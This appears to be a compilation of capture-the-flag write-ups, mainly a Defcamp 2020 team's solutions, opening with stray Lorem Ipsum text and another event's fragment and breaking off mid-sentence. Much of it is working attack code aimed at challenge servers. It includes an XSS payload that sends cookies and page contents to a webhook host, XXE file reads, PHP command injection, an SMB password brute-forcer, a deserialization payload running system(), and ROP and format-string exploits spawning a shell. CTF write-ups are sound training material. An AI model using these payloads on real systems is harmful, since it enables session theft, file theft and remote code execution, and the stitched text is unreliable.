the more obscure Latin words, consectetur, from a Lorem Ipsumpassage, and going through the cites of the word in classical literature, discovered the undoubtable source. Lorem Ipsum comes from sections 1.10.32 and 1.10.33 of de Finibus Bonorum et Malorum (The Extremes of Good and Evil) by Cicero, written in 45 BC. This book is a treatise on the theory of ethics, very popular during the Renaissance. The first line of Lorem Ipsum, Lorem ipsum dolor sit amet.., comes from a line in section 1.10.32.The standard chunk of Lorem Ipsum used since the 1500s is reproduced below for those interested. Sections 1.10.32 and 1.10.33 from de Finibus Bonorum et Malorum by Cicero are also reproduced in their exact original form, accompanied by English versions from the 1914 translation by H. Rackham.Where can I get some?There are many variations of passages of Lorem Ipsum available, but the majority have suffered alteration in some form, by injected humour, or randomised wordswhich dont look even slightly believable. If you are going to use a passage of Lorem Ipsum, you need to be sure there isnt anything embarrassing hidden in the middle of text. All the Lorem Ipsum generators on the Internet tend to repeat predefined chunks as necessary, making this the first true generator on the Internet. It uses a dictionary of over 200 Latin words, combined with a handful of model sentence structures, to generate Lorem Ipsum which looks reasonable. The generated Lorem Ipsum is therefore always free from repetition, injected humour, or non-characteristic words etc.``` And flag is: `DCTF{74a0f35841dfa7eddf5a87467c90da335132ae52c58ca440f31a53483cef7eac}`
1. Input 1 to speak to goblin, you will see the flag position at (9, 9) ![](https://i.ibb.co/FzY9YFH/Screenshot-1.jpg) 2. Change x position and y position to (9, 9) ![](https://i.ibb.co/zr1JnDm/Screenshot-2.jpg) 3. You will get the flag ![](https://i.ibb.co/g6VHZRv/Screenshot-3.jpg) ```b00t2root{p4ck3t_inj3ct}```
# Defcamp 2020 writeups :triangular_flag_on_post: ## Team information**Team name:** bootplug **Country**: Norway **CTFTime profile**: https://ctftime.org/team/81341 **Authors**zup, PewZ, UnblvR, maritio_o, odin We solved 25/26 challenges. Did not solve `inorder` --- ## Forensics### basic-comsWe get a pcap file. Searched for `http` traffic and found a single stream with some very interesting information in it ![](https://i.imgur.com/rpdwAsd.png) This **GET** request seems to contain an interesting parameter that looks like a flag. Decoding this from URL encoding yields the flag```The content of the f l a g is ca314be22457497e81a08fc3bfdbdcd3e0e443c41b5ce9802517b2161aa5e993 and respects the format``` `CTF{ca314be22457497e81a08fc3bfdbdcd3e0e443c41b5ce9802517b2161aa5e993}` ### t3am_vi3w3rNoticed some DNS requests in the PCAP to RealVNC websites. Filtering on VNC traffic (`vnc` as filter in Wireshark) lists up some "broken" PDUs, but they are most likely just too new for Wireshark to handle. Looking at the last byte of all these PDUs, we see that some text is entered - one letter at a time. It writes out the "Bee Movie" script, with the flag somewhere in the middle of it. By simply looking for a value that matches '{', I was able to read out each letter of the flag and communicate it to a team mate that wrote it down. flag: `DCTF{74a0f35841dfa7eddf5a87467c90da335132ae52c58ca440f31a53483cef7eac}` ### hunting-into-the-wildQ1. Based on the text, and obviois tool to think about is mimkaz, which often contain sekurlsa in the commanline. Used the following search on winlogbeat index:```process.args: *sekurlsa*```Shows process name: mim.exe Q2.Seeing that most "malicous" related to APTSimulator, looking for events around this activity and filtering based on common native tools used for downloading, we found the following:```certutil.exe -urlcache -split -f https://raw.githubusercontent.com/NextronSystems/APTSimulator/master/download/cactus.js C:\Users\Public\en-US.js``` Q3. By going back in timeline to see source of all the malicous events, the following command was found:```C:\Windows\system32\cmd.exe /c ""C:\Users\IEUser\Desktop\APTSimulator\APTSimulator.bat```CTF{APTSimulator.bat} Q4. Common command used for user management at windows is ```net user```, search for this actiovity within the timeline of the malicous commands, the following command line was found:```net user guest /active:yes``` ### spy-agency Volatility imagescan shows that the relevant profile is `Win7SP1x64`. After a brief `pstree` and `filescan`, we see that there's not really that much happening process-wise. But Chrome has been used to download a file from WeTransfer: ``` 0x000000003fa82210 16 0 RW---- \Device\HarddiskVolume2\Users\volf\Downloads\app-release.apk.zip``` We weren't able to dump this exact file, but there were some copies of it located on the desktop that could be dumped using `dumpfiles -Q XXX` with XXX being the physical address from the filescan output. The Chrome history also showed some Google searches for Bluestacks, an Android emulator, but none of its binaries were present. The belief is that someone downloaded this APK, then ran it locally in Bluestacks to get the secret location - which is the goal of this challenge. The zip file does not contain an APK at all, but a directory, which contains the contents of an APK. This breaks normal decompilers like JADX, but luckily it's easy to repack it as a proper APK file. After some brief reversing of the app, it looks like it is just a simple "Hello, World!" Android application, that only shows a single view with a "Hello World" message. ```javapackage com.example.hidden_place; import android.os.Bundle;import androidx.appcompat.app.AppCompatActivity; public class MainActivity extends AppCompatActivity { /* access modifiers changed from: protected */ public void onCreate(Bundle bundle) { super.onCreate(bundle); setContentView((int) R.layout.activity_main); }}``` However, inside drawables, there's a hidden file: `res/drawable/coordinates_can_be_found_here.jpg`. In the EXIF data of this image, there's some coordinates `-coordinates=44.44672703736637, 26.098652847616506` pointing to a Pizza hut. Flag: `ctf{a939311a5c5be93e7a93d907ac4c22adb23ce45c39b8bfe2a26fb0d493521c4f}` (sha256 of 'pizzahut') ## Web### alien-inclusionThis is a very simple PHP server. The flag is located in `/var/www/html/flag.php` ```php 15: print("cmd too long!") return data = { "password": "foobardeadbeefdsadsa" } req = requests.post(url, data=data) tmp = req.content.decode("utf-8") idx = tmp.index("/secrets") secret = tmp[idx:].split("'")[0] print(secret) url += secret print(url) params = { "tryharder": cmd } req = requests.get(url, params=params) print(req.content) req = requests.get(url) print(req.content) if __name__ == "__main__": main("http://35.242.253.155:30574", "${`ln -s /var`}") main("http://35.242.253.155:30574", "${`mv var o`}") main("http://35.242.253.155:30574", "${`ln -s o/w*`}") main("http://35.242.253.155:30574", "${`mv www l`}") main("http://35.242.253.155:30574", "${`ln -s l/h*`}") main("http://35.242.253.155:30574", "${`mv html j`}") main("http://35.242.253.155:30574", "${`cat j/f*>2`}") main("http://35.242.253.155:30574", "${print`cat 2`}")``` We can inject php using the `tryharder` parameter, but it has to be less than 16 characters. In addition, the data we can change is part of a doc string (heredoc). We use ${} to run php and backticks to run shell commands.Running the solution script gives us the flag:`ctf{d067ddd00ba4129e83898758ac321533f392364cfaca7967d66791d9d08823bb}` ### pirate-crawlerThere is nothing on the main page. First we found `/console` endpoint by dirbusting. However, the debugger console was protected with a PIN. In the task description they mentioned APIs. So we tried to find `/api`, `/v1` and `/v2` etc.We then found some interesting endpoints. * `/v1` - mentions that `/v1` is disabled and that we should see the changelog for more information.* `/v2` - mentions that this is the `V2 API ROUTE` We then tried to find the CHANGELOG file:```shell$ http GET 'http://138.68.93.187:6960/v2/CHANGELOG'HTTP/1.0 200 OKContent-Length: 204Content-Type: text/html; charset=utf-8Date: Mon, 07 Dec 2020 16:47:24 GMTServer: Werkzeug/1.0.1 Python/3.6.9 #1: V1 context - V1 api routes disabled after sambacry #2: V2 context - crawl route parammeter changed to 'adshua' to prevent abuse #3: V2 context - added new safe SMbHandler to prevent sambacry``` We now know that SMB is involved and that there is an endpoint called `/v2/crawl`.We can use this endpoint to visit web pages, but it has an SSRF vulnerability. This meansthat we can fetch files from the server, or visit internal web pages. Using this vulnerability we fetched the SMB config and the app.py source code: `curl -D- http://138.68.93.187:6960/v2/crawl?adshua=file:///etc/samba/smb.conf --output smb.conf` `curl -D- 'http://138.68.93.187:6960/v2/crawl?adshua=file:///home/ctfuser/app.py' --output app.py` There is an interesting entry in SMB config```ini[josh] path = /samba/josh browseable = yes read only = yes guest ok = yes force create mode = 0660 force directory mode = 2770 valid users = josh @sadmin``` `josh` is an SMB share, and we can authenticate to this share as `josh`.We also see a new API endpoint for SMB ```[email protected]("/v2/smb", methods=["GET"])def smb(): #this might ROCK YOUr world! if request.args.get('onlyifyouknowthesourcecode'): director = urllib.request.build_opener(SMBHandler) fh = director.open(request.args.get('onlyifyouknowthesourcecode')) buf = fh.read() fh.close() return buf``` There is a hint refering to `rockyou.txt` in the source code. So now we just create a script to bruteforce josh's password using this wordlist. ```python#!/usr/bin/env python3import requestsimport sys url = "http://138.68.93.187:6960/v2/smb?onlyifyouknowthesourcecode=smb://josh:{password}@localhost/josh/flag.txt" with open(sys.argv[1]) as wlist: for pw in wlist: pw = pw.rstrip() r = requests.get(url.format(password=pw)) if "not authenticated" not in r.text: if "filedescriptor out of range" not in r.text: print(r.text) print(f"PASS: {pw}")``` The correct password is `christian`. We can now get the flag! `http GET 'http://138.68.93.187:6960/v2/smb?onlyifyouknowthesourcecode=smb://josh:christian@localhost/josh/flag.txt'` The flag is: `ctf{6056850ae00cb2cdc76d2bfa0bcb40ee3cc744702a31af0a8edd7fb2872da6f9}` ### syntax-checkThis task took a while to figure out. The task description is```Some languages can be read by human, but not by machines, while others can be read by machines but not by humans. This markup language solves this problem by being readable to neither. The flag is in /var/www/html/flag.``` The button on the main page does not work at all. It sets a GET parameter called `<foo>Hi!</foo>` and we get an error page saying "Empty string supplied as input." The trick was to figure out that you had to send something in the request body instead of a GET parameter. `curl -D- -XGET 'http://34.107.22.248:30526/parse' --data test` A new error message: `That XML string is not well-formed` Now we get a clue that the data we send is should be XML. The vulnerability here must be XML External Entity processing. We can try to create some entities that fetches local files on the server. ```shell$ curl -D- -XGET 'http://34.107.22.248:30526/parse' --data ' ]><foo>&exfiltrate;</foo>'``` We get the `/etc/passwd` file back!```...gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinwww:x:1000:3000::/var/www:/usr/sbin/nologin``` However we cannot leak the flag using base64 encoding. ```shellcurl -D- -XGET 'http://34.107.22.248:30526/parse' --data ' ]><foo>&exfiltrate;</foo>'``` The error message is `You just tried to exfiltrate using base64? Nice. Try again!` Seems like there is some sort of filter checking the output. We can't convert the PHP flag file into base64. It is still possible to convert the PHP file into UTF-16 though: ```shell$ curl -D- -XGET 'http://34.107.22.248:30526/parse' --data ' ]><foo>&exfiltrate;</foo>'```We then get this string `瑣筦㈰摢㠴㈶㌷㈰㌶㈶㡥㙡㘹挱㍤〳㠳㈱㜰挳〵慦㔷戹㈴戰攱愷ㄱ㉡㍣扡㄰〳੽` We can convert this to UTF-8 and get the flag! `ctf{02bd486273026362e8a6961cd3303812073c50fa759b420b1e7a11a2c3ab0130}` ### cross-meThe challenge name is a hint that this is an XSS challenge. After you have logged in you can post notes to the website. The admin will check every note you create. When trying to post `<script>` tags we get an error message: `Invalid input. Failed at /<[^\w<>]*[ \/]\w*/i` The server is validating our notes using regex. It has quite a few different patterns that it checks: - `/<[^\w<>]*[ \/]\w*/i`- `/<(|\/|[^\/>][^>]+|\/[^>][^>]+)>/i`- `/(\b)(on\S{5,8})(\s*)=|(<\s*)(\/*)script/im`- ```/["'\(\)\.:\-\+> `]/im``` The best way I found to bypass this check is to convert our javascript into HTML entities: e.g. `asdasd` -> `asdasd` After trial and error I found out that the `<svg>` tag is your best bet! We can use its **onload** method which is not matched by the regex pattern above. ("load" is shorter than 5 characters). Let's test this by fetching the admin's cookie. We can't have spaces, and can't have any `>` tag at the end. But it still works: `<svg/onload=document.location="https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35?c="+document.cookie//<` Convert the javascript to HTML entities:```http --form POST 'http://35.242.253.155:31810/index.php?page=newpost' Cookie:PHPSESSID=47117bffb9bc0406a138d082980b72f2 title='asd' description='<svg/onload=document.location="https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35?c="+document.cookie//<'``` We now get a request from the admin. But there is no flag in the cookies...I then noticed the referer header in the request from admin: `Referer: http://127.0.0.1:1234/index.php?page=post&id=221` If we make the admin fetch this website and send the result back to us, we might get the flag.The new plan is to use **fetch**: ```jsfetch('/index.php?page=post&id=604').then(r=>{return r.text()}).then(t=>{fetch('https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35', {method:'POST',body:t})})``` This javascript posts the entire website back to us. When converting this to HTML entities, we can do the request to get the flag :) ```http --form POST 'http://35.242.253.155:31810/index.php?page=newpost' Cookie:PHPSESSID=47117bffb9bc0406a138d082980b72f2 title='asd' description='<svg/onload=fetch('/index.php?page=post&id=604').then(r=>{return r.text()}).then(t=>{fetch('https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35', {method:'POST',body:t})})//<'``` FLAG: `CTF{3B3E64A81963B5E3FAC7DE0CE63966F03559DAF4B61753AADBFBA76855DB5E5A}` ### environIt is a login page, but we cannot login, and there is no button to register an account.After doing some enumeration we found a few endpoints that seems interesting - /index.php- /login- /forgot-password- /register- /dashboard- /assets- /css- /js- /backup At `/register` we can register an account and we get redirected to `/dashboard````Environ is a tool to decrypt your deal messages Sorry for the inconvenience but we’re performing some maintenance at the moment. If you need to you can always contact us, otherwise we’ll be back online shortly! — The Team.``` If we go to `/index.php` we can see this message:```Environ is a tool to decrypt your deal messages Sorry for the inconvenience but we’re performing some maintenance at the moment. If you need to you can always contact us, otherwise we’ll be back online shortly! — The Team. Also you can use /decode/{text} to obtain the contents of your private message.``` A new endpoint! `/decode/{text}`. Almost everything we tried to insert as *text* makes the server respond with `bool(false)` If you insert a symbol, you get `File not found`. I created a script to enumerate all the valid characters:```python#!/usr/bin/env python3import requestsimport string url = "http://35.198.183.125:30278/decode/" valid_chars = [] headers = { "Cookie": "laravel_session=eyJpdiI6Ik5QMmtiajAxZ0JHTjdLTW5TcDV1Nmc9PSIsInZhbHVlIjoicEhIV3lKaEUrKzFnS1VDcmcyWDhPQ0ZVNlYzeFR3TkdBbjk4VW1NditnOHRxaEl5MU01YmUrMFpxRGZyc0lMTHBLYWRKOWNiMVpHaFEyUy9ac3FsSUFMeXRNZ2RZZmdNL3RnOGEyUFlpZHV2aGlOVXRpWm1nbTE5cDU1Wmd6YmsiLCJtYWMiOiJjNzZkZjcyNGIwNWIyYzZiNjcyNmQ1YTE2YWM0ZTE5N2JhZGE4NGVmYzE3ZGY3NDc0Zjg0MWY5NzRjMTQ2NTliIn0%3D", "Accept": "application/json"} for c in string.printable: r = requests.get(url+c, headers=headers) if "bool(false)" in r.text: valid_chars.append(c) else: print(r.text.strip()) print(''.join(valid_chars))``` The valid characters are `0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%+=` This looks like base64 to me! At this point we started looking at the other endpoints, and found out that `/backup` is a git repository. We dumped the repository using [git-dumper.py](https://github.com/arthaud/git-dumper) (I had to replae all ".git" with "backup" for it to work) and find `.env.example` that contains an AES key: `APP_KEY=base64:Wkt8DOa9t16Z+DSLKsy+5r4S0aA9JmdItAk9//NiKu0=` We also find the decode function used in the Laravel app. ```phppublic function decode(Request $request, $secret) { $key = env('APP_KEY'); $cipher = "AES-256-CBC"; $iv = substr(env('APP_KEY'), 0, 16); $secret_message = unserialize(openssl_decrypt($secret, $cipher, $key, 0, $iv)); var_dump($secret_message); }``` This function decrypts our secret message and unserializes it. Maybe we can try to exploit this unserialization? To do this we need to find a class that has a constructor / deconstructor that does something unsafe. I found just the class for this in `app/Http/Middleware/YourChain.php` ```php<?php namespace App\Http\Middleware; use Closure;use Illuminate\Http\Request; class YourChain{ /** * Handle an incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @return mixed */ // public function handle(Request $request, Closure $next) // { // return $next($request); // } public $inject; function __construct(){ } function __wakeup(){ if(isset($this->inject)) { if(isset($this->inject[5])){ eval($this->inject[5]); } } }}``` If we can create a serialized object with an `$inject` parameter that is an Array, we can eval php code of our choice. The 5th index must contain the code that should be evaled. I did this by opening an interactive session with php: `php -a````php$key = "base64:Wkt8DOa9t16Z+DSLKsy+5r4S0aA9JmdItAk9//NiKu0=";$iv = substr($key, 0, 16); echo openssl_encrypt("O:29:\"App\\Http\\Middleware\\YourChain\":1:{s:6:\"inject\";a:6:{i:0;s:0:\"\";i:1;s:0:\"\";i:2;s:0:\"\";i:3;s:0:\"\";i:4;s:0:\"\";i:5;s:29:\"system('base64 ../flag.php');\";}}", "AES-256-CBC", $key, 0, $iv);``` Which yields `6yjQqIXn0W0bR6EwHTW2NfGZUD4vr9E537p+861LxkPV8tNU63xRZz34KbAoOYNU/Z0SXAME/FlmW2Gpc14G/eXe+TngCovxh6lKt3I9ZmutmF0iLSRycW3X3xdse83uy7Hp3XSqh0Z20knHOqqi4KulAvtT1BbFDzwrNtstRGvciaSyqVgbbhtCIQe0lwyw2YZ8TkBKrdSefnNfBLFuzQ==` We can send this encrypted text to the `/decode` endpoint to get our command executed!I tried multiple commands before I finally found flag.php in a directory. ```shell$ http GET "http://35.198.183.125:30278/decode/6yjQqIXn0W0bR6EwHTW2NfGZUD4vr9E537p+861LxkPV8tNU63xRZz34KbAoOYNU/Z0SXAME/FlmW2Gpc14G/eXe+TngCovxh6lKt3I9ZmutmF0iLSRycW3X3xdse83uy7Hp3XSqh0Z20knHOqqi4KulAvtT1BbFDzwrNtstRGvciaSyqVgbbhtCIQe0lwyw2YZ8TkBKrdSefnNfBLFuzQ==" Cookie:laravel_session=eyJpdiI6Ik5QMmtiajAxZ0JHTjdLTW5TcDV1Nmc9PSIsInZhbHVlIjoicEhIV3lKaEUrKzFnS1VDcmcyWDhPQ0ZVNlYzeFR3TkdBbjk4VW1NditnOHRxaEl5MU01YmUrMFpxRGZyc0lMTHBLYWRKOWNiMVpHaFEyUy9ac3FsSUFMeXRNZ2RZZmdNL3RnOGEyUFlpZHV2aGlOVXRpWm1nbTE5cDU1Wmd6YmsiLCJtYWMiOiJjNzZkZjcyNGIwNWIyYzZiNjcyNmQ1YTE2YWM0ZTE5N2JhZGE4NGVmYzE3ZGY3NDc0Zjg0MWY5NzRjMTQ2NTliIn0%3D %``` FLAG: `ctf{ea4941519e740783ebd819100ddc13486ae1e0abec2d0ef32bad5fc98edd16b6}` ## Steganography### stug-referenceThe task description says:```Do you have your own stug pass hidden within?```We get a jpg image. The most obvious thing to try is *steghide*.First I tried to use steghide without a password, but that did not work. Then I noticed the task description again: `stug pass hidden within`. I then tried to extract using `stug` as password: ```shell$ steghide extract -sf stug.jpgEnter passphrase: wrote extracted data to "flag.txt".```flag.txt: `ctf{32849dd9d7e7b313c214a7b1d004b776b4af0cedd9730e6ca05ef725a18e38e1}` ## Crypto### bro64```python#!/usr/bin/env python3import jsonimport requests from base64 import b64decodefrom pprint import pprint from Crypto.Cipher import ChaCha20, Salsa20 # {"nonce": "TzMh7RxMJr8=", "ciphertext": "IynkKnGon3iK4oNSv59tqdLlpIowmfpiH88Vj1CjQBm3SvTcwTbrnY4q/UWKtJRu0M3v4sl+C0k8QFM8pdpyFCkE9Nur", "key": "Fidel_Alejandro_Castro_Ruz_Cuba!"} def main(url): res = requests.get(url) if res.status_code != 200: print("failed!") return res = json.loads(res.content) pprint(res) key = res["key"] nonce = b64decode(res["nonce"]) ciphertext = b64decode(res["ciphertext"]) print(f"key length: {len(key)}") print(f"ciphertext length: {len(ciphertext)}") print(f"nonce length: {len(nonce)}") #cipher = Salsa20.new(key=key.encode("utf-8"), nonce=nonce) #plaintext = cipher.decrypt(ciphertext) #print(plaintext) cipher = ChaCha20.new(key=key.encode("utf-8"), nonce=nonce) plaintext = cipher.decrypt(ciphertext) print(plaintext) if __name__ == "__main__": main("http://34.89.241.255:30013") # ctf{f38deb0782c0f252090a52b2f1a5b05bf2964272f65d5c3580be631f52f4b3e0}```tried to find a cipher that matched with the key length etc. We noticed that the length of the ciphertext wasn't a multiple of normal block sizes, so we assumed a stream cipher. Then we tried to find a stream cipher that used base64 encoded nonce, and a key size of 256 bit. after some trial and error we found out that ChaCha20 was a match. ### why-xorWe get a Python script```pythonxored = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']s1 = ""s2 = ""# ['\x00', '\x00', '\x00'] at start of xored is the best hint you geta_list = [chr(ord(a) ^ ord(b)) for a,b in zip(s1, s2)]print(a_list)print("".join(a_list))``` There is also a hint here about the first 3 null bytes being the best hint we can get. Since we know that a flag usually starts with `ctf`, this is most likely the xor key. When xoring `ctf` with `ctf` we get three null bytes. I modified the script to use `ctf` as key:```pythonxored = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']s1 = ''.join(xored)s2 = "ctf" * len(xored) # We need the key to be equal length or longer than the cipher text a_list = [chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2)]print("".join(a_list))``` Running it yields `ctf{79f107231696395c004e87dd7709d3990f0d602a57e9f56ac428b31138bda258}` ## Pwn### bazooka```python#!/usr/bin/env python# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host 35.234.65.24 --port 30812 ./pwn_bazooka_bazookafrom pwn import * # Set up pwntools for the correct architectureexe = context.binary = ELF('./pwn_bazooka_bazooka') # Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or '35.234.65.24'port = int(args.PORT or 30812) def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw) # Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''set follow-fork-mode parentset follow-exec-mode sameb *0x0000000000400757continue'''.format(**locals()) #===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Partial RELRO# Stack: No canary found# NX: NX enabled# PIE: No PIE (0x400000) io = start() io.sendlineafter("Secret message: ", "#!@{try_hard3r}") pop_rdi = 0x00000000004008f3main = exe.symbols["main"] payload = b"A"*(0x80-8)payload += p64(pop_rdi)payload += p64(exe.got["puts"])payload += p64(exe.plt["puts"])payload += p64(main)io.sendlineafter("Message: ", payload) io.recvuntil("Hacker alert")io.recvline()leak = u64(io.recvline().rstrip().ljust(8, b"\x00"))log.info(f"leak: {hex(leak)}") if args.LOCAL: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")else: libc = ELF("libc6_2.27-3ubuntu1.3_amd64.so") libc.address = leak - libc.symbols["puts"]log.success(f"libc base: {hex(libc.address)}")payload = b"A"*(0x80-8)payload += p64(pop_rdi)payload += p64(next(libc.search(b"/bin/sh")))payload += p64(pop_rdi+1) # ret gadget for stack alignmentpayload += p64(libc.symbols["system"])payload += p64(libc.symbols["exit"]) io.sendlineafter("Secret message: ", "#!@{try_hard3r}")io.sendlineafter("Message: ", payload) io.interactive() # ctf{9bb6df8e98240b46601db436ad276eaa635a846c9a5afa5b2075907adf39244b}``` Vulnerable function protected with password.The vuln is a buffer overflow. First we trigger the bug to leak the address of puts through the GOT.This enables us to find the base address of libc. We then trigger the bug a second time and ROP into `system("/bin/sh")`. ### darkmagic```python#!/usr/bin/env python# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host 34.89.250.23 --port 32440 ./darkmagicfrom pwn import * # Set up pwntools for the correct architectureexe = context.binary = ELF('./darkmagic') # Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or '34.89.250.23'port = int(args.PORT or 32440) def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw) # Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''b *0x00000000004007FFcontinue'''.format(**locals()) #===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Partial RELRO# Stack: Canary found# NX: NX enabled# PIE: No PIE (0x400000) io = start() io.recvline() writes = { exe.got["printf"]: exe.plt["system"] }payload = fmtstr_payload(8, writes=writes, write_size="byte")io.sendline(payload)io.sendline("/bin/sh;") io.interactive()# dctf{857ee5051eeccf7cbdfa0ab9986d32f89158429fc12348e15419a969ddcb6bfb}``` Format string vuln. Read + printf called in a loop. We use the first `printf()` call to overwrite `printf@GOT` with `system` (we have `system` in the PLT). The second `printf()` will then execute whatever we send after the format string payload. ## Reverse engineering### secret-reverseThis binary opens up a file `message.txt` and prints out the encoded version of it. Our target is to find some message contents, such that the encoded content becomes `46004746409548141804243297904243125193404843946697460795444349`. I quickly noticed that the output was of variable length, with only 1-2 letters output per input letter. With this, I brute-forced 2 and 2 letters at the time, picking the encoded message that was the closest match with the target. The original message was: `yes_i_am_a_criminal_mastermind_beaware`. Thus the flag becomes: `ctf{9b9972e4d59d0360b5f1b80a5bbd76c05d75df5b636576710a6271c668a10ac5}` Solution script:```pythonfrom subprocess import check_output, CalledProcessErrorfrom string import printable, ascii_lowercasefrom itertools import productfrom hashlib import sha256 ALPHA = ascii_lowercase +"_"TARGET = "46004746409548141804243297904243125193404843946697460795444349" def run(s): with open("message.txt","w") as fd: fd.write(s) try: out = check_output(["./rev_secret_secret.o"]) return out.strip().split(b"Encoded: ")[1].decode() except CalledProcessError: print(f"Input {s} crashed") return "" def score(s1, s2): for i in range(min([len(s1),len(s2)])): if s1[i] != s2[i]: return i return min([len(s1),len(s2)]) known = "yes_i_am_a_criminal_mastermind_beawa"best = 0beststrings = []for comb in product(ALPHA, repeat=2): T = known + ''.join(comb) out = run(T) if out == TARGET: print(f"ctf{{{sha256(T.encode()).hexdigest()}}}") break if (m := score(out, TARGET)) >= best: print(T, m, out) if m > best: beststrings = [T] best = m else: beststrings.append(T) print(best)print(beststrings)``` ### kalf-gameIn this challenge we are given a snake game written in rust. Since this is ahuge binary the first thing we did was to try and find something interestingrelated to the game. By looking at strings in IDA we quickly find these:* `Level finished!`* `is the victory level!`* `ctf{}`* etc. By following the xrefs to these strings we found an interesting function at`0xE53C0`. Even with the decompiler the code looks like crap, but we could seea lot of references to strings that look like part of the flag. At `0xE5A04`there's a check to see if some number is equal to 100000, and if it is the codeproceeds to print some interesting stuff. We assumed that this was the "win" check, and that the code is checking thelevel we are currently on. So we added a breakpoint to check. In gdb we couldverify that this value did in fact match the level. The solution was then tochange the level to 10000 and let the program continue running. The flag is puttogether and printed:`ctf{ddba6614a32456631c125eb1a4327c52686c71d909a92ec05ea5eb510eae81d9}` ### yopass-go```sh$ strings yopass-go/yopass | grep ctf*runtime.structfieldfound bad pointer in Go heap (incorrect use of unsafe or cgo?)runtime: internal error: misuse of lockOSThread/unlockOSThreadruntime.SetFinalizer: pointer not at beginning of allocated blockstrconv: internal error: extFloat.FixedDecimal called with n == 0runtime:greyobject: checkmarks finds unexpected unmarked object obj=ctf{0962393ce380c3cf696c6c59a085cde0f7edd1382f2e9090220abdf9a6396c88}runtime: found space for saved base pointer, but no framepointer experiment/home/lucian/Desktop/ctf/yopass-go/yopass.go/home/lucian/Desktop/ctf/yopass-go/yopass.go[]runtime.structfieldruntime.structfieldruntime.structfield*runtime.structfield"[]runtime.structfield$runtime.structfield%runtime.structfield *runtime.structfield``` and there we go: `ctf{0962393ce380c3cf696c6c59a085cde0f7edd1382f2e9090220abdf9a6396c88}` ### stripped-goused [golang_loader_assist.py](https://github.com/strazzere/golang_loader_assist) to recover symbols.main_main performs AES encryption with this passphrase: `thisis32bitlongpassphraseimusing`.and the message is: `g01sn0tf0rsk1d1e`. which means that the flag is ctf{sha256{g01sn0tf0rsk1d1e}} == ctf{a4e394ae892144a54c008a3b480a1b22a6b64dd26c4b0c9eba498330f511b51e} ### modern-loginWe quickly noticed the mp3 file that contained some Python files. We extracted the files by doing the following steps:1. Unzipping the APK and traversing to the `assets/` folder. 2. Running `file` showed us that `private.mp3` was a zipped folder. 3. Unzipping it revealed another `private.mp3` file which was a tar4. Extracting this as well provided us with several files, among them was `main.py`. At first, they just seemed like bundled files and we didn't check them out much. However, we looked at the files in the mobile file system after running the app. There, we found the same files. At this point we looked further into them. The most interesting file was `main.py`. It contained some functions to check the password and to XOR encrypt strings. Part of `main.py`:```S=leno=bytesv=enumerateW=printh=None def n(byt): q=b'viafrancetes' f=S(q) return o(c^q[i%f]for i,c in v(byt)) def d(s): y=n(s.encode()) return y.decode("utf-8")``` Running the `d()` function decrypted the XOR encrypted strings in the file. This revealed that 